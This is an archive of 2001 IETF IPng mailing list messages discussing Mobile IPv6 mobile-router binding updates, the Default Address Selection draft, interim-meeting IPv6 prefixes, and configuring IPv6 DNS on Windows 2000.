MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15126.30816.817322.866277@thomasm-u1.cisco.com> Date: Thu, 31 May 2001 09:59:12 -0700 (PDT) To: Thierry Ernst Cc: Mobile IP , ipng@sunroof.eng.sun.com Subject: Re: [Q] Routing header In-Reply-To: <3B1630C0.A8A1CE8A@inrialpes.fr> References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> <3B141937.CF8A72CA@inrialpes.fr> <15124.10369.456683.719389@thomasm-u1.cisco.com> <3B1630C0.A8A1CE8A@inrialpes.fr> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Thierry Ernst writes: > Michael Thomas wrote: > > I'm aware that this is only my scenario, but this is > > what I think a naive implementation would do. Ie, > > the mobile router would think it's supposed to send > > a BU when it see something come in from its home agent > > tunnel interface, the MN (or another MR) would > > think it's supposed to send a BU... > > I agree that a MN behind the MR is supposed to send a BU, but I disagree > that the MR "is supposed to" do it as well. If this is true, what is the purpose of putting a subnet prefix into the BU at all? How does the MR (ignoring MN for the moment) eliminate triangular routing through its HA? Surely the purpose of adding the prefix wasn't just to say that MN was reachable at a range of IP addresses. > First, the MR is not the > final destination of the packet. Second, if you think about a naive > implementation, MR would send a BU to the sender that appears in the > inner header in the encapsulated packet, i.e. the CN of MN "behind" > MR. And what would contain the BU ? A binding between the MR's home > address and its COA. This does not give much usefuk information to the > CN. Remember it's the MR's home _prefix_, not address. That's what my reference to the -13 draft was about below. > Then, the issue your are describing (including two addresses in the > routing header) would not happen with a naive implementation of MRs. > If any proposal would advocate such use of the routing header, I think > it should also describe how this should be done. I think the problem here is that the addition of prefix to the BU is not sufficient to support mobile routers, and as such it's open to interpretation what the implementation should do. While I generally like the addition of subnet prefix to BU's (mainly because it treats BU's like the routing updates that they are), it may actually be better to get the MIP WG to take the whole subject of MR's up as working group item and delete it till then because it may unfairly prejudice the final outcome. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 10:48:18 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VHlPR13185 for ipng-dist; Thu, 31 May 2001 10:47:25 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VHlKe13178 for ; Thu, 31 May 2001 10:47:20 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA20870 for ; Thu, 31 May 2001 10:47:28 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA01236 for ; Thu, 31 May 2001 11:47:53 -0600 (MDT) Received: from localhost ([131.107.37.32]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id CAA00212; Fri, 1 Jun 2001 02:45:06 +0900 (JST) Date: Fri, 01 Jun 2001 02:42:27 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Robert Elz Cc: ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-Reply-To: <2863.991299497@brandenburg.cs.mu.OZ.AU> References: <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> <2863.991299497@brandenburg.cs.mu.OZ.AU> User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 25 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 31 May 2001 15:58:17 +0700, >>>>> Robert Elz said: > | Here are some inconsistency comparing to the latest versions of the > | scoping/address architecture drafts: > Here I think it is better to use the values from the currently published > RFCs - the actual numbers aren't important to anything in this draft, > and using data from a doc that isn't yet an RFC will only serve to hold > up this one until that is eventually published. Okay, I don't mind the policy. But then, the addr-select draft should refer to RFC 2373, instead of the scoping architecture draft: Multicast destination addresses have a 4-bit scope field that controls the propagation of the multicast packet. The IPv6 addressing architecture defines scope field values for node-local (0x1), link-local (0x2), site-local (0x5), organization-local (0x8), and global (0xE) scopes [9]. ^^^ this should be RFC 2373. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 10:56:28 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VHu2J13214 for ipng-dist; Thu, 31 May 2001 10:56:02 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VHtwe13207; Thu, 31 May 2001 10:55:58 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA19790; Thu, 31 May 2001 10:56:07 -0700 (PDT) Received: from ebene.inrialpes.fr (ebene.inrialpes.fr [194.199.18.70]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA06827; Thu, 31 May 2001 11:56:33 -0600 (MDT) Received: from inrialpes.fr (galibier.inrialpes.fr [194.199.24.97]) by ebene.inrialpes.fr (8.9.3+Sun/8.8.6) with ESMTP id TAA02332; Thu, 31 May 2001 19:54:34 +0200 (MEST) Message-ID: <3B1685B4.834E1CCA@inrialpes.fr> Date: Thu, 31 May 2001 19:56:04 +0200 From: Thierry Ernst Organization: INRIA Rhone-Alpes X-Mailer: Mozilla 4.75 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Mobile IP CC: ipng@sunroof.eng.sun.com Subject: Re: [Q] Routing header References: <001d01c0e3e7$fcbd7880$ae0a060a@n016.co.kr> <20010525065204O.kimai@flab.fujitsu.co.jp> <009f01c0e4f2$c69a6680$ae0a060a@n016.co.kr> <15124.160.67957.34034@thomasm-u1.cisco.com> <15124.4243.705476.836130@thomasm-u1.cisco.com> <3B141937.CF8A72CA@inrialpes.fr> <15124.10369.456683.719389@thomasm-u1.cisco.com> <3B1630C0.A8A1CE8A@inrialpes.fr> <15126.30816.817322.866277@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas wrote: > > I agree that a MN behind the MR is supposed to send a BU, but I disagree > > that the MR "is supposed to" do it as well. > > If this is true, what is the purpose of putting a subnet prefix > into the BU at all? How does the MR (ignoring MN for the moment) > eliminate triangular routing through its HA? Surely the purpose > of adding the prefix wasn't just to say that MN was reachable > at a range of IP addresses. > > > First, the MR is not the > > final destination of the packet. Second, if you think about a naive > > implementation, MR would send a BU to the sender that appears in the > > inner header in the encapsulated packet, i.e. the CN of MN "behind" > > MR. And what would contain the BU ? A binding between the MR's home > > address and its COA. This does not give much usefuk information to the > > CN. > > Remember it's the MR's home _prefix_, not address. That's > what my reference to the -13 draft was about below. Mickael, You might probably not read the mipv6-13 draft correctly. The purpose of the home_prefix in the MIPv6 spec. is for the Home Agent to defend ALL home addresses of the MN on the home link (link local, site local, global), not for support of Mobile Routers. This has ab-so-lu-te-ly nothing to do with the Mobile Router case. If it has, may be I should rather going to grew vegetables or follow English lessons (don't know which one would be the best though :-) The prefix you are refering to is therefore included by the MN to inform its HA (not its CNs) [remember the 'H' bit that stands for 'Home Registration" ?] about the size of the prefix, not to manage mobile routers and networks. In addition, whatever the mobile (host or router), a binding is ALWAYS established between the 128-bits Home Address of the mobile and it's 128-bits Careof Address. The only place were is mentioned a binding between a prefix and a 128-bits address is my draft. Otherwise, the contribution of my draft would be pointless. Why should I introduce a new sub option if there is already all we need in the MIPv6-13 draft ? > > Then, the issue your are describing (including two addresses in the > > routing header) would not happen with a naive implementation of MRs. > > If any proposal would advocate such use of the routing header, I think > > it should also describe how this should be done. > > I think the problem here is that the addition of prefix > to the BU is not sufficient to support mobile routers, > and as such it's open to interpretation what the > implementation should do. IMHO, there is nothing to miss-interpret since the addition of prefix in the BU is not in the MIPv6-13 draft. What may be miss-interpreted by implementation is redirection at the HA of packets intended to nodes behind the MR (problem described in my draft - sorry, I always refer to my draft, but I do not want to explain everything in each email and this is clearly described there) On the other hand, I advocate that my draft may be miss-intrepreted, but this is only version-1 and I clearly stated that my proposal does not consider MN behind the MR (BTW, I did state this exaclty for the reason you were describing at the beginning of this thread - what would the CN do with 2 BUs, one from MN, and one from MR) > While I generally like the addition of subnet prefix > to BU's (mainly because it treats BU's like the routing > updates that they are), it may actually be better to > get the MIP WG to take the whole subject of MR's up > as working group item This is exactly what many people already want (to list just a few of them Hesham Soliman, Francis Dupont, Claude Castelluccia, Glenn Morrow, and may others). May be I should ask for it more explictly. > and delete it till then because > it may unfairly prejudice the final outcome. And delete it ? Sorry, I do not understand. (may be I should really take English lessons then :-) There is a problem with mobile routers because this special case has never been considered seriously (or not at all) in any of the existing MIP WG specs. My interpretation is that implementers should only implement the MIP WG drafts for hosts. Another set of specs. is required for mobile routers. Thierry. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 11:19:01 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VIHc213270 for ipng-dist; Thu, 31 May 2001 11:17:38 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VIHYe13263; Thu, 31 May 2001 11:17:34 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA24565; Thu, 31 May 2001 11:17:35 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA20075; Thu, 31 May 2001 12:18:01 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 7EDE04B0B; Fri, 1 Jun 2001 03:17:29 +0900 (JST) To: ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com In-reply-to: itojun's message of Thu, 31 May 2001 05:41:53 +0900. <29415.991255313@itojun.org> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: IPv6 @ interim meeting From: itojun@iijlab.net Date: Fri, 01 Jun 2001 03:17:29 +0900 Message-ID: <9887.991333049@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > as a temporary measure I have configured tunnel to IIJ Palo Alto device. > the IPv6 prefix for the meeting room is 3ffe:507:1ff::/64. > > it would be, of course, better to have ipv6 prefix from microsoft > research :-) today we've got a router operated by MS research guys, using 6to4. so my router have went away. 2002:836b:2505:5::/64 itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 11:36:40 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VIa0X13316 for ipng-dist; Thu, 31 May 2001 11:36:00 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VIZue13309 for ; Thu, 31 May 2001 11:35:56 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA11465 for ; Thu, 31 May 2001 11:36:02 -0700 (PDT) Received: from mailrelay1.chek.com (plotnick.chek.com [208.197.227.116]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id LAA11104 for ; Thu, 31 May 2001 11:35:59 -0700 (PDT) Received: (qmail 31728 invoked from network); 31 May 2001 18:35:45 -0000 Received: from purina.chek.com (208.197.227.8) by mailrelay1.chek.com with SMTP; 31 May 2001 18:35:45 -0000 Received: (qmail 4138 invoked by uid 99); 31 May 2001 18:33:29 -0000 Date: 31 May 2001 18:33:29 -0000 Message-ID: <20010531183329.4137.qmail@purina.chek.com> From: "Emanuel Moreira" To: ipng@sunroof.eng.sun.com, msripv6-users@list.research.microsoft.com, users@ipv6.org X-MASSMAIL: 1.0 X-Originating-IP: [193.137.173.132] Subject: DNS Server Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I want to configure a DNS server in a IPv6 network and I want to make query's from my Windows 2000 host. How can I configure a route to the DNS Server in this host or is not like in IPv4? Or else should the DNS send some advertisements to the hosts? Thanks Emanuel Moreira _____________________________________________________________ O e-mail preferido dos portugueses http://www.portugalmail.pt -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 12:07:20 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VJ6cK13377 for ipng-dist; Thu, 31 May 2001 12:06:38 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VJ6Ye13370 for ; Thu, 31 May 2001 12:06:34 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA18475 for ; Thu, 31 May 2001 12:06:41 -0700 (PDT) Received: from hypnos.cps.intel.com (hypnos.cps.intel.com [192.198.165.17]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA20911 for ; Thu, 31 May 2001 12:06:40 -0700 (PDT) Received: from SMTP (fmsmsxvs01-1.fm.intel.com [132.233.42.201]) by hypnos.cps.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.39 2001/05/18 00:47:02 root Exp $) with SMTP id TAA03405; Thu, 31 May 2001 19:06:37 GMT Received: from fmsmsx27.FM.INTEL.COM ([132.233.48.27]) by 132.233.48.201 (Norton AntiVirus for Internet Email Gateways 1.0) ; Thu, 31 May 2001 19:06:27 0000 (GMT) Received: by fmsmsx27.fm.intel.com with Internet Mail Service (5.5.2653.19) id ; Thu, 31 May 2001 12:06:26 -0700 Message-ID: From: "Dollinger, MatthewX" To: "'Emanuel Moreira'" , ipng@sunroof.eng.sun.com, msripv6-users@list.research.microsoft.com, users@ipv6.org Subject: RE: DNS Server Date: Thu, 31 May 2001 12:06:23 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Setup the DNS server as you normally would. The Ipv6 addresses will be entered as AAAA (Quad A) addresses. On each 'V6 system, it's best to have an updated hosts file. I like to make sure they all have the same file...makes it easier to setup and know who has what. You may have to use your 'V6 DNS names as shown in the following example: DNS server: dns.ipv6.ipv6.com DNS entry for 'V6 system: client1 Usage: client1.ipv6.ipv6.com I haven't messed with it enough to determine what is doing it but, there have been several times that I have had to use the full DNS name (like in the example) and others where just the systems name (i.e. client1) is enough. If anyone has insight to the why's of this, it would make life a tad easier for me. :) Does this answer your questions? "You know, sometimes it is the artist's task to find out how much music you can still make with what you have left." --- Itzhak Perlman (Nov. 18, 1995,) Matthew Dollinger NQL CDI/Intel -----Original Message----- From: Emanuel Moreira [mailto:emanramor@portugalmail.com] Sent: Thursday, May 31, 2001 11:33 AM To: ipng@sunroof.eng.sun.com; msripv6-users@list.research.microsoft.com; users@ipv6.org Subject: DNS Server I want to configure a DNS server in a IPv6 network and I want to make query's from my Windows 2000 host. How can I configure a route to the DNS Server in this host or is not like in IPv4? Or else should the DNS send some advertisements to the hosts? Thanks Emanuel Moreira _____________________________________________________________ O e-mail preferido dos portugueses http://www.portugalmail.pt -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 12:28:42 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4VJRvi13451 for ipng-dist; Thu, 31 May 2001 12:27:57 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4VJRre13444 for ; Thu, 31 May 2001 12:27:53 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA23495 for ; Thu, 31 May 2001 12:28:00 -0700 (PDT) Received: from pimout3-int.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id NAA04679 for ; Thu, 31 May 2001 13:28:27 -0600 (MDT) Received: from jim (nas-147-94.chicago-n.navipath.net [64.20.147.94]) by pimout3-int.prodigy.net (8.11.0/8.11.0) with SMTP id f4VJRup226284; Thu, 31 May 2001 15:27:56 -0400 From: "JIM FLEMING" To: "Emanuel Moreira" , , , Subject: RE: DNS Server Date: Thu, 31 May 2001 14:29:05 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20010531183329.4137.qmail@purina.chek.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk AAAA Records in DNS 2002::0000: Jim Fleming http://www.unir.com/images/architech.gif http://www.unir.com/images/address.gif http://www.unir.com/images/headers.gif http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Emanuel Moreira Sent: Thursday, May 31, 2001 1:33 PM To: ipng@sunroof.eng.sun.com; msripv6-users@list.research.microsoft.com; users@ipv6.org Subject: DNS Server I want to configure a DNS server in a IPv6 network and I want to make query's from my Windows 2000 host. How can I configure a route to the DNS Server in this host or is not like in IPv4? Or else should the DNS send some advertisements to the hosts? Thanks Emanuel Moreira _____________________________________________________________ O e-mail preferido dos portugueses http://www.portugalmail.pt -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 31 17:34:45 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f510Xkm13968 for ipng-dist; Thu, 31 May 2001 17:33:46 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f510Xge13961 for ; Thu, 31 May 2001 17:33:42 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA24421 for ; Thu, 31 May 2001 17:33:50 -0700 (PDT) Received: from melimelo.enst-bretagne.fr (melimelo.enst-bretagne.fr [192.108.115.36]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA10460 for ; Thu, 31 May 2001 18:34:12 -0600 (MDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by melimelo.enst-bretagne.fr (8.10.1/8.10.1) with ESMTP id f510XTF12570; Fri, 1 Jun 2001 02:33:29 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id CAA06113; Fri, 1 Jun 2001 02:33:28 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.1/8.11.1) with ESMTP id f510XSA71536; Fri, 1 Jun 2001 02:33:28 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200106010033.f510XSA71536@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Bob Hinden cc: ipng@sunroof.eng.sun.com Subject: Re: W.G. Last Call on "Default Address Selection for IPv6" In-reply-to: Your message of Thu, 24 May 2001 14:26:24 PDT. <4.3.2.7.2.20010524142147.022bc410@mailhost.iprg.nokia.com> Date: Fri, 01 Jun 2001 02:33:28 +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I strongly object against the standard track status for this document because this will close the door: - research won't be done in order to find alternate/better solution - implementors will have to implement exactly the mechasnims described in the document or they won't be conformant. The first point is a known drawback for standards. My concern is more the second point, I understand we have to restraint freedom for getting more interoperability but in this case we are going too far! Some choices are still arguable, in particular in defaults, and these will become standards so even we believe they are not good we will be stuck with them. These concerns have already slowed down the document and can become critical when it will go further in the standard track. Common sense rules ("MUSTs") should be in a different document than some detailed mechanisms ("SHOULD/MAYs"). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com --------------------------------------------------------------------